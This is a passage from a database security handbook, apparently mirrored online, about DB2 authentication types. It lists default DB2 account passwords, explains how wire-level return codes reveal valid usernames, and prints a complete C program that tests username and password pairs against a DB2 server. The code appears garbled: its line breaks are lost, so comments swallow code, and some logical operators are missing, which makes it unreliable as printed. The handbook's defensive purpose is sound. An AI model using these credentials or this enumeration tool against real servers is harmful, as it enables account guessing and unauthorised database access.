DB2 Authentication and Authorization

Unlike Oracle and Microsoft SQL Server, which support database authentication and database accounts, DB2 exclusively uses the operating system for authentication purposes. What this means is that DB2 is immune to attackers gaining access via database accounts without a password, or accounts that have a default password. Oracle has a plethora of such accounts and Microsoft SQL Server, prior to service pack 3, was infamous for having no password set for the "sa" login ”the most powerful login on the server. DB2 does not suffer from this kind of issue. That said, if the OS itself has an account without a password, or an account that has a default password, then needless to say, this can be abused by attackers but the same would be true for Oracle and Microsoft SQL Server. Indeed, when DB2 is installed some OS accounts are created and, in earlier versions of DB2, these OS accounts were given default passwords:

All Operating Systems

db2admin has a password of db2admin

*nix

db2fenc1 has a password of ibmdb2

db2inst1 has a password of ibmdb2

db2as has a password of ibmdb2

What this lack of database authentication also means is that there is no "users" table as such; it's the operating system itself that stores this information. Although authentication is dealt with by the operating system, DB2 does support different authentication types that specify how (and where) the authentication takes place. First there is the SERVER authentication type. This is the default setting and implies that the server is responsible for authentication. If the DB2 server uses the SERVER authentication type, the clients send their username and password over the network in clear text, albeit in EBCDIC. The SERVER_ENCRYPT authentication type supports encryption using 56-bit single DES. Using this type, the client encrypts the username and password before sending it to the server. This provides for a more secure solution than type SERVER. At a minimum, the DB2 server should use the SERVER_ENCRYPT authentication type. Another type, CLIENT authentication, relegates the responsibility of authentication to the client: the line of thinking is that on a trusted network, if users can get onto the client, then they must be trusted and so no authentication is performed by the server. This is a dangerous assumption to make and the CLIENT authentication type should not be used. Here's why: anyone, absolutely anyone can access the database server. If the account the user is logged onto as the client doesn't exist on the server, then it's irrelevant. The user still gets access as PUBLIC. Reiterating, CLIENT authentication should not be used. Two more authentication types are available: KERBEROS and KERBEROS_ENCRYPT. The former is used when both the client and server support Kerberos and the latter indicates that if Kerberos is not available, the server will fall back on the SERVER_ENCRYPT method.

Note  

To set the server's authentication type, open the Control Center and right-click the instance in question. Select Configure Parameters from the menu. In the Keyword column find Authentication and select the authentication type required. It is strongly advised not to use CLIENT authentication because attackers can abuse this to gain easy access to the DB2 server.

Looking at authentication at the wire level you can determine if a given user account exists on a remote system by looking at the return code. After receiving a SECCHK DDM command the server replies with a SECCHKCD, or Security Check Code. The codepoint for SECCHKCD is 0x11A4 and the value is 1 byte in length. A value of 0x00 means that authentication was successful; a value of 0x0F indicates that the password is invalid; and a value of 0x13 indicates that the username is not valid. By looking at these return codes it's possible to enumerate users remotely by guessing. If the account doesn't exist you'll have a SECCHKCD of 0x13. If it's 0x00, you not only got a username but you also got the password correct too. More than likely though, the result will be 0x0F ”password invalid. The following code can be used to authenticate a user. As you can see, the DSS information is broken down:

 #include <stdio.h> #include <windows.h> #include <winsock.h>     int MakeRequest(char *req, int size); int StartWinsock(void); unsigned char EtoA(unsigned char ch); int AstrE(unsigned char *str, int size); int PrintResp(unsigned char *p, int l);     int ConnectToDB2Server(void);     struct sockaddr_in s_sa; struct hostent *he; unsigned int addr; char hostname[260]=""; int Db2Port = 50000;         unsigned char AuthPacket[]= "\x00\xb4"     // Size "\xd0"          // DDMID "\x41"          // Format "\x00\x01"     // Correlation ID "\x00\xae"     // Size "\x10\x41"     // Command - EXCSAT "\x00\x6e"     // Size "\x11\x5e"     // EXTNAME "\x84\x82\xf2\x82\x97\x40\x40\x40\x40\x40\x40\x40\x40\x40\x40\x40" "\x40\x40\x40\x40\xf1\xf1\xf0\xf0\xf3\xf5\xc6\xf5\xf1\xf1\xf0\x00" "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x60" "\xf0\xf1\xf1\xf1\x84\x82\xf2\x89\x95\xa2\xa3\xf3\x40\x40\x40\x40" "\x40\x40\x40\x40\x40\x40\x40\x40\x40\x40\x40\x40\x40\x40\x40\x40" "\x40\x40\xd4\xe8\xc4\xc2\x40\x40\x40\x40" ////////////////////////////////////// "\x00\x18"     // Size "\x14\x04"     // Manager-level list "\x14\x03"     // Agent "\x00\x07"      "\x24\x07"     // SQL Application Manager "\x00\x07" "\x14\x74"     // TCP/IP Communication Manager "\x00\x05" "\x24\x0f"     // Relational Database "\x00\x07" "\x14\x40"     // Security Manager "\x00\x07" ////////////////////////////////////// "\x00\x0e"     // Size "\x11\x47"     // Server Class Name "\xd8\xc4\xc2\xf2\x61\xd3\xc9\xd5\xe4\xe7" "\x00\x0a"     // Size "\x11\x6d"     // Servername "\xa2\x83\xa4\xa3\xa4\x94"     // hostname "\x00\x0c"     // size "\x11\x5a"     // Product Release Level "\xe2\xd8\xd3\xf0\xf8\xf0\xf1\xf6" ////////////////////////////////////// // //  ACCSEC // ////////////////////////////////////// "\x00\x26"     // Size "\xd0"          // DDMID "\x41"          // Format "\x00\x02"     // Correlation ID "\x00\x20"     // Size "\x10\x6d"     // Command - ACCSEC "\x00\x06"     // Size "\x11\xa2"     // Security Mechanism "\x00\x03"     // UID/PWD "\x00\x16"     // Size "\x21\x10"     // RDB Name "\x40\x40\x40\x40\x40\x40\x40\x40\x40\x40\x40\x40\x40\x40\x40\x40" "\x40\x40" ////////////////////////////////////// // // SECCHK // ////////////////////////////////////// "\x00\x52"     // Size "\xd0"          // DDMID "\x41"          // Format "\x00\x03"     // Correlation ID "\x00\x4C"     // Size "\x10\x6e"     // Command - SECHK "\x00\x06"     // Size "\x11\xa2"     // Security Mechanism "\x00\x03"     // UID/PWD "\x00\x16"     // Size "\x21\x10"     // RDB Name "\x40\x40\x40\x40\x40\x40\x40\x40\x40\x40\x40\x40\x40\x40\x40\x40" "\x40\x40" "\x00\x16"     // Size "\x11\xa1"     // Password "\x40\x40\x40\x40\x40\x40\x40\x40\x40\x40\x40\x40\x40\x40\x40\x40" "\x40\x40" "\x00\x16"     // Size "\x11\xa0"     // Username "\x40\x40\x40\x40\x40\x40\x40\x40\x40\x40\x40\x40\x40\x40\x40\x40" "\x40\x40" ///////////////////////////////////// // // ACCRDB // ///////////////////////////////////// "\x00\xad"     // Size "\xd0"          // DDMID "\x01"          // Format "\x00\x04"     // Correlation ID "\x00\xa7"     // Size "\x20\x01"     // Command "\x00\x06"     // Size "\x21\x0f"     // RDB Access Manager Class "\x24\x07" "\x00\x17"     // Size "\x21\x35"     // Correlation Token "\xc3\xf1\xc1\xf8\xf1\xf1\xf4\xc5\x4b\xd3\xf5\xf8\xf5\x07\x5f\x55" "\x15\x21\x50" "\x00\x16"     // Size "\x21\x10"     // RDB Name "\x40\x40\x40\x40\x40\x40\x40\x40\x40\x40\x40\x40\x40\x40\x40\x40\x40\x40" "\x00\x0c"     // Size "\x11\x2e"     // Product-Specific Identifier "\xe2\xd8\xd3\xf0\xf8\xf0\xf1\xf6" "\x00\x0d"     // Size "\x00\x2f"     // Data Type Definition Name "\xd8\xe3\xc4\xe2\xd8\xd3\xe7\xf8\xf6" "\x00\x16"     // Size "\x00\x35"     // TYPDEF Overrides "\x00\x06"     // Size "\x11\x9c"     // CCSID for Single-byte chars "\x03\x33" "\x00\x06"     // Size "\x11\x9d"     // CCSID for Double-byte chars "\x04\xb0" "\x00\x06"     // Size "\x11\x9e"     // CCSID for Mixed-byte chars "\x03\x33" "\x00\x3c"     // Size "\x21\x04"     // Product Specific Data "\x37\xe2\xd8\xd3\xf0\xf8\xf0\xf1\xf6\xd3\x89\x95\xa4\xa7\x40\x40" "\x40\x40\x40\x40\x40\x40\x40\x40\x40\x40\x40\x84\x82\xf2\x82\x97" "\x40\x40\x40\x40\x40\x40\x40\x40\x40\x40\x40\x40\x40\x40\x40\x81" "\x84\x94\x89\x95\x89\xa2\xa3\x00" "\x00\x05"     // Size "\x21\x3b"     // Target Default Value Return "\xF1";          // TRUE         unsigned char ebdic[]= "\x40\x4F\x40\x7B\x5b\x6c\x50\x7d\x4d\x5d\x5c\x4e\x6b\x60\x4b\x61" "\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\x7a\x5e\x4c\x7e\x6e\x6f" "\x7c\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xd1\xd2\xd3\xd4\xd5\xd6" "\xd7\xd8\xd9\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\x4A\xe0\x5a\x5f\x6d" "\x79\x81\x82\x83\x84\x85\x86\x87\x88\x89\x91\x92\x93\x94\x95\x96" "\x97\x98\x99\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xc0\x6a\xd0\x00";         SOCKET s; int main(int argc, char *argv[]) {              unsigned char database[20]="";      unsigned char username[20]="";      unsigned char password[20]="";      int count=0;      int x = 0;              if(argc != 6)           return printf("C:\>%s host port database username password\n",argv[0]);          Db2Port = atoi(argv[2]);      strncpy(hostname,argv[1],250);      strncpy(database,argv[3],16);      strncpy(username,argv[4],16);      strncpy(password,argv[5],16);                    AstrE(database,16);      AstrE(username,16);      AstrE(password,16);          memmove(&AuthPacket[200],database,16);      memmove(&AuthPacket[238],database,16);      memmove(&AuthPacket[260],password,16);      memmove(&AuthPacket[282],username,16);      memmove(&AuthPacket[343],database,16);              if(StartWinsock()==0)           return printf("Error starting Winsock.\n");                if(ConnectToDB2Server())           MakeRequest(AuthPacket,sizeof(AuthPacket)-1);              WSACleanup();          return 0;     }                   int AstrE(unsigned char *str, int size) {      int count = 0;      unsigned x = 0;      while(count < size)      {           x = str[count];           x = x - 0x20;           str[count]=ebdic[x];           count ++;      }      return 0; }         int ConnectToDB2Server() {      unsigned int ttlbytes=0;      unsigned int to=100;          s=socket(AF_INET,SOCK_STREAM,0);      if (s==INVALID_SOCKET)      {           printf("socket error.\n");           return 0;      }          setsockopt(s,SOL_SOCKET,SO_RCVTIMEO,(char *)&to,sizeof(unsigned int));              s_sa.sin_port=htons((unsigned short)Db2Port);          if (connect(s,(LPSOCKADDR)&s_sa,sizeof(s_sa))==SOCKET_ERROR)      {           closesocket(s);           printf("Connect error.\n");           return 0;      }          return 1;         } int MakeRequest(char *req, int size) {      unsigned char resp[6000]="";      int snd=0,rcv=0,count=0, var=0;      unsigned int ttlbytes=0;      unsigned int to=100;      struct sockaddr_in cli_addr;          unsigned char *ptr = NULL;      char t[20]="";      char status[4]="";      int cnt = 0;          snd=send(s, req , size , 0);      _sleep(500);      rcv = recv(s,resp,5996,0);      if(rcv == SOCKET_ERROR)      {           closesocket(s);           printf("socket error on receive.\n");           return 0;      }      cnt = 0;      ptr = resp;          PrintResp(resp,rcv);      printf("\n\n");          while(cnt < rcv)      {           if(ptr[cnt] == 0x11 && ptr[cnt+1] == 0xA4)           {                // size should be 5                if(ptr[cnt-1] ==5)                {                     cnt = cnt + 2;                     if(ptr[cnt]==0x00)                     {                          printf("\n\nAuthenticated\n");                          goto end;                     }                     else if(ptr[cnt]==0x0F)                     {                          printf("\n\nPassword is invalid.\n");                          goto end;                     }                     else if(ptr[cnt]==0x0E)                     {                          printf("\n\nPassword has expired.\n");                          goto end;                     }                     else if(ptr[cnt]==0x13)                     {                          printf("\n\nNo such user.\n");                          goto end;                     }                     else if(ptr[cnt]==0x14)                     {                          printf("\n\nAccount is disabled or locked.\n");                          goto end;                     }                         else                     {                          printf("Unknown status...%.2X\n",ptr[cnt]);                          goto end;                     }                }                           }           cnt ++;      }          cnt = 0;            while(cnt < rcv)      {           if(ptr[cnt] == 0x00)                ptr[cnt]=0x40;           printf("%c",EtoA(ptr[cnt]));           cnt ++;      }             end:          closesocket(s);      return 0; }     int StartWinsock() {      int err=0;      WORD wVersionRequested;      WSADATA wsaData;          wVersionRequested = MAKEWORD( 2, 0 );      err = WSAStartup( wVersionRequested, &wsaData );      if ( err != 0 )           return 0;          if ( LOBYTE( wsaData.wVersion ) != 2  HIBYTE( wsaData.wVersion ) != 0 )        {           WSACleanup();           return 0;      }      if (isalpha(hostname[0]))        {           he = gethostbyname(hostname);           s_sa.sin_addr.s_addr=INADDR_ANY;           s_sa.sin_family=AF_INET;           memcpy(&s_sa.sin_addr,he->h_addr,he->h_length);      }      else      {           addr = inet_addr(hostname);           s_sa.sin_addr.s_addr=INADDR_ANY;           s_sa.sin_family=AF_INET;           memcpy(&s_sa.sin_addr,&addr,4);           he = (struct hostent *)1;      }      if (he == NULL)        {           WSACleanup();           return 0;        }          return 1; }         unsigned char EtoA(unsigned char ch) {      unsigned char cnt=0;          while(cnt < 95)      {           if(ch == ebdic[cnt])                return cnt+0x20;           cnt ++;      }              return 0x20;     }     int PrintResp(unsigned char *p, int l) {      int c = 0;      int d = 0;      while(c < l)      {           printf("%.2X ",p[c]);           c ++;           if(c % 16 == 0)           {                d = c - 16;                printf("\t");                while(d < c)                {                          if(p[d] == 0x0A  p[d] == 0x0D)                          printf(" ");                     else                          printf("%c",p[d]);                     d++;                }                printf("\n");                d = 0;           }      }      d = c - 16;      printf("\t");      while(d < c)      {                if(p[d] == 0x0A  p[d] == 0x0D)                printf(" ");           else                printf("%c",p[d]);           d++;      }      printf("\n");      d = 0;                return 0; } 


Database Hacker's Handbook. Defending Database Servers
The Database Hackers Handbook: Defending Database Servers
ISBN: 0764578014
EAN: 2147483647
Year: 2003
Pages: 156

flylib.com © 2008-2017.
If you may any questions please contact us: flylib@qtcs.net